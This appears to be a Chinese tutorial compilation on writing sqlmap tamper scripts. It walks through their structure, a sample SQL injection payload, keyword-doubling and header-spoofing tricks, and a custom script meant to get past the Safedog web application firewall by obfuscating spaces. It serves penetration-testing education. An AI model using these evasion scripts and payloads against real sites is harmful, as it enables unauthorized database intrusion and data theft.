sqlmap tamper脚本编写
0x00 sqlmap tamper简介
sqlmap是一个自动化的SQL注入工具,而tamper则是对其进行扩展的一系列脚本,主要功能是对本来的payload进行特定的更改以绕过waf。
0x01 一个最小的例子
为了说明tamper的结构,让我们从一个最简单的例子开始
# sqlmap/tamper/escapequotes.pyfrom lib.core.enums import PRIORITY__priority__ = PRIORITY.LOWESTdef dependencies():passdef tamper(payload, **kwargs):return payload.replace("'", "\\'").replace('"', '\\"')
不难看出,一个最小的tamper脚本结构为priority变量定义和dependencies、tamper函数定义。
priority定义脚本的优先级,用于有多个tamper脚本的情况。
dependencies函数声明该脚本适用/不适用的范围,可以为空。
tamper是主要的函数,接受的参数为payload和**kwargs
返回值为替换后的payload。比如这个例子中就把引号替换为了\\'。
0x02 详细介绍
第一部分完成了一个最简单的tamper架构,下面我们进行一个更详细的介绍
tamper函数
tamper是整个脚本的主体。主要用于修改原本的payload。
举个简单的例子,如果服务器上有这么几行代码
$id = trim($POST($id),'union');
$sql="SELECT * FROM users WHERE id='$id'";
而我们的payload为
-8363' union select null -- -
这里因为union被过滤掉了,将导致payload不能正常执行,那么就可以编写这样tamper
def tamper(payload, **kwargs):return payload.replace('union','uniounionn')
保存为test.py,存到sqlmap/tamper/下,执行的时候带上--tamper=test的参数,就可以绕过该过滤规则
dependencies函数
dependencies函数,就tamper脚本支持/不支持使用的环境进行声明,一个简单的例子如下:
# sqlmap/tamper/echarunicodeencode.pyfrom lib.core.common import singleTimeWarnMessagedef dependencies():singleTimeWarnMessage("tamper script '%s' is only meant to be run against ASP or ASP.NET web applications" % os.path.basename(__file__).split(".")[0])# singleTimeWarnMessage() 于在控制台中打印出警告信息
kwargs
在官方提供的47个tamper脚本中,kwargs参数只被使用了两次,两次都只是更改了http-header,这里以其中一个为例进行简单说明
# sqlmap/tamper/vanrish.pydef tamper(payload, **kwargs):headers = kwargs.get("headers", {})headers["X-originating-IP"] = "127.0.0.1"return payload
这个脚本是为了更改X-originating-IP,以绕过WAF,另一个kwargs的使用出现于xforwardedfor.py,也是为了改header以绕过waf
0x3 结语
tamper的编写远不止这些,本文只就其最基本的结构进行探讨。作为sqlmap的扩展,在编写tamper时几乎所有的sqlmap内置的函数、变量都可以使用,本文不一一列出。
0x04 一些常用的取值
# sqlmap/lib/enums.pyclass PRIORITY:LOWEST = -100LOWER = -50LOW = -10NORMAL = 0HIGH = 10HIGHER = 50HIGHEST = 100class DBMS:ACCESS = "Microsoft Access"DB2 = "IBM DB2"FIREBIRD = "Firebird"MAXDB = "SAP MaxDB"MSSQL = "Microsoft SQL Server"MYSQL = "MySQL"ORACLE = "Oracle"PGSQL = "PostgreSQL"SQLITE = "SQLite"SYBASE = "Sybase"HSQLDB = "HSQLDB"
===============================================================================================
0x00 前言
sqlmap 是一个开源的渗透测试工具,可以用来自动化的检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。本文重点研究sqlmap的软件具体的目录结构,后续的文章也会从源码编写中,阐述sqlmap的种种编码结果。本文从结构中,可以看到sqlmap中的软件工程之美,同时从严谨的软件结构目录分类和构造中,看到sqlmap中的软件开发过程中的庞大但简洁的结构之美。
0x01 tamper脚本
当我们下载了【sqlmap】的安装包,解压后到文件夹【sqlmap】,在以下路径,我们可以找到文件夹【tamper】,其中该文件夹有44个脚本分别对44种WAF进行检测。例如360,绿盟WAF,modsecurity.,百度,fortiweb,cloudflare。由此可见老外对国内的WAF也是有了解的,可见他们也会悄悄对国内的WAF进行绕过。
0x02 分析tamper脚本
由于【tamper】文件夹中有众多的tamper脚本,限于篇幅,无法一一分析,故选取其中一个脚本【lowercase.py】作为样本分析
#!/usr/bin/env Python #此处用法为:程序到env设置里查找python的安装路径,再调用对应路径下的解释器程序完成操作。这是非常好的做法
""" #python2.7的多行注释符,此处为三个双引号,因为是其中也有单引号,并且该说明为一般文档说明,故用三个双引号
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
""" #python的多行注释符,此处为三个双引号,因为是其中也有单引号,并且该说明为一般文档说明,故用三个双引号
import re #导入python中的re 字符替换包,方便下面的字符替换
from lib.core.data import kb #导入sqlmap中lib\core\data中的kb函数,测试SQL注入的过程中,使用的配置文件事先全部被加载到了conf和kb
from lib.core.enums import PRIORITY #导入sqlmap中lib\core\enums中的PRIORITY函数, LOWEST = -100,LOWER = -50,. 详细见enums.py
__priority__ = PRIORITY.NORMAL #定义优先级,此处为级别为【一般】
def dependencies(): #定义dependencies():此处是为了和整体脚本的结构保持一致。pass #pass 不做任何事情,一般用做占位语句。为了保持程序结构的完整性。
def tamper(payload, **kwargs): #定义tamper脚本,payload,**kwargs为定义的参数,其中**kwargs为字典存储,类似于{'a':1,'c':3,'b':2}""" #python的多行注释符,此处为三个双引号,因为是其中也有单引号,并且该说明为一般文档说明,故用三个双引号Replaces each keyword character with lower case value #此处为tamper说明 ,以便使用该脚本。在本例中,该脚本可以Tested against: #用于多种数据库。并且作用于弱防护效果的防火墙* Microsoft SQL Server 2005* MySQL 4, 5.0 and 5.5* Oracle 10g* PostgreSQL 8.3, 8.4, 9.0Notes:* Useful to bypass very weak and bespoke web application firewallsthat has poorly written permissive regular expressions* This tamper script should work against all (?) databases>>> tamper('INSERT')'insert'""" #python的多行注释符,此处为三个双引号,因为是其中也有单引号,并且该说明为一般文档说明,故用三个双引号 retVal = payload #将payload赋值给 retVal ,以便中间转换。if payload: # 进行判断payloadfor match in re.finditer(r"[A-Za-z_]+", retVal): # 对 retVal 【payload】进行小写查找word = match.group() #将查找到的字母赋值给wordif word.upper() in kb.keywords: #如果在攻击载荷中有大写字母retVal = retVal.replace(word, word.lower()) #将大写字母转换成小写字母。return retVal #返回小写字母
到这里,我们可以看出,该脚本实现了将攻击载荷中大写字母转成了小写字母
0x03 编写一个tamper脚本
#!/usr/bin/env python #此处代码可以直接从其他tamper复制粘贴过来
"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) #常规文档说明
See the file 'doc/COPYING' for copying permission
v0.0.1 #添加这个脚本的版本说明
2016.08.21 #添加我们写这个脚本的日期
"""
from lib.core.enums import PRIORITY #导入sqlmap中lib\core\enums中的PRIORITY函数, LOWEST = -100,LOWER = -50,. 详细见enums.py
__priority__ = PRIORITY.LOW #定义优先级,此处为级别为【一般】def dependencies(): #定义dependencies():此处是为了和整体脚本的结构保持一致。pass #pass 不做任何事情,一般用做占位语句。为了保持程序结构的完整性def tamper(payload, **kwargs): #定义tamper脚本,**kwargs 为字典存储,类似于 {'a': 1, 'c': 3} """To bypass safedog Replaces space character (' ') with plus ('/*|%20--%20|*/') #把空格替换为(/*|%20--%20|*/)绕过,此处为绕过规则>>> tamper('SELECT id FROM users') #此处为替换后的具体执行形式'SELECT/*|%20--%20|*/id/*|%20--%20|*/FROM/*|%20--%20|*/users'"""retVal = payload #将payload赋值给 retVal ,以便中间转换。if payload: retVal = "" quote, doublequote, firstspace = False, False, False #定义这些符号参数,防止对后面的替换造成影响for i in xrange(len(payload)): #在攻击载荷中逐个进行判断操作。if not firstspace: #如果攻击载荷的第一个字段是空格,则进行替换if payload[i].isspace():firstspace = TrueretVal += "/*|%20--%20|*/" #把空格( ) 替换成(/*|%20--%20|*/)continue #继续进行判断操作elif payload[i] == '\'': #如果攻击载荷中有(\ ),则进行编码转换quote = not quoteelif payload[i] == '"': #如果攻击载荷中有(“ ),则进行编码转换doublequote = not doublequoteelif payload[i] == " " and not doublequote and not quote: #如果攻击载荷中有空格(),并且它既不是doublequote 或 quote retVal += "/*|%20--%20|*/" #则进行编码转换continue #继续执行retVal += payload[i] #得到重新组合的payloadreturn retVal
0x04 参考资料
http://sqlmap.org/
https://github.com/sqlmapproject/sqlmap/
https://github.com/sqlmapproject/sqlmap/wiki
https://github.com/sqlmapproject/sqlmap/wiki/FAQ
https://github.com/sqlmapproject/sqlmap/wiki/Third-party-libraries
sqlmap tamper脚本编写相关推荐
- sqlmap之tamper脚本编写
目录 前言 tamper脚本实战 前言 sqlmap是一个自动化的SQL注入工具,而tamper则是对其进行扩展的一系列脚本,主要功能是对本来的payload进行特定的更改以绕过waf. 为了说明ta ...
- SQLMAP tamper编写(bypass 安全狗)
其实sqlmap tamper的编写 核心只不过是在原有的tamper框架上,根据不同的WAF然后对payload进行针对性的更改 以达绕过. Priority 自带的tamper脚本中一共有以下几种 ...
- SQLmap Tamper编写方法(笔记)
0x00 $ python sqlmap.py --list-tampers #查看内置tamper sqlmap提供了很多的内置tamper,其包含了常见数据库的sql注入绕过,可在特定条件下进行S ...
- Sqlmap Tamper编写
Sqlmap Tamper编写 Sqlmap Tamper是sqlmap可以调用的脚本,已进行对payload的修改,如:双写.替换空格.编码等. sqlmap可以使用--tamper调用,编写使用P ...
- mysql常用的tamper脚本_总结一些sqlmap的常用tamper脚本释义
要想成为一名合格的"脚本小子",我们首先需要一个强大的工具,然后利用好他的脚本.但是脚本也不能乱用,首先就是要了解一下SqlMap的常用的脚本,然后分清楚场合进行利用.(好的,看开 ...
- 渗透测试-sqlmap绕过WAF脚本编写
sqlmap绕过WAF脚本编写 文章目录 sqlmap绕过WAF脚本编写 前言 一.什么是sqlmap和tamper脚本 二.利用sqlmap脚本进行扫描获取数据库信息 1.编写sqlmap绕过WAF ...
- sqlmap之tamper脚本
sqlmap之tamper脚本 进行注入时,往往会遇到服务端主机装有 WAF(Web Application Firewall)对 Payload 进行过滤的情况,这使得注入攻击无法成功实施.但 WA ...
- sqlmap中的tamper 脚本分析
space2randomblank 作用:空格替换为备选字符集中的随机字符 例子: ('select id from users') ( select %0Did%0DFRM%0A users') 详 ...
- sqlmap tamper mysql_sqlmap之常用tamper脚本
常用tamper脚本 apostrophemask.py 适用数据库:ALL 作用:将引号替换为utf-8,用于过滤单引号 使用脚本前:tamper("1 AND '1'='1") ...
最新文章
- 使用unix工具监控cpu、内存等系统资源占用率
- Tkinter模块常用参数(python3)
- 通过document id和content拿到SAP document的binary data
- 【kafka】kafka Producer Metadata概述及源码分析
- scjp考试准备 - 11 - 类型转换2
- 疲劳综合征的原因及解决办法
- centos从安装到环境配置
- 【车间调度】基于matlab遗传算法求解柔性车间调度问题【含Matlab源码 660期】
- html返回顶部代码(简单)
- 基于protues与keli下贪吃蛇的实现
- Java练习题(String)
- HTML | 分享几个HTML邮件样式模板
- hive sql 日期格式转换
- rtl8211 smi读取_RTL8211E应用(二)之信号输入、输出接口
- 10分钟接入腾讯验证码验证平台
- kernal tch 下载 天正_tch_kernal.arx
- 通州区机器人比赛活动总结_机器人大赛总结报告
- 使用Navicat连接Mycat的诡异事件
- [python]pycharm自动生成函数注释
- 8522A+7段数码管显示实验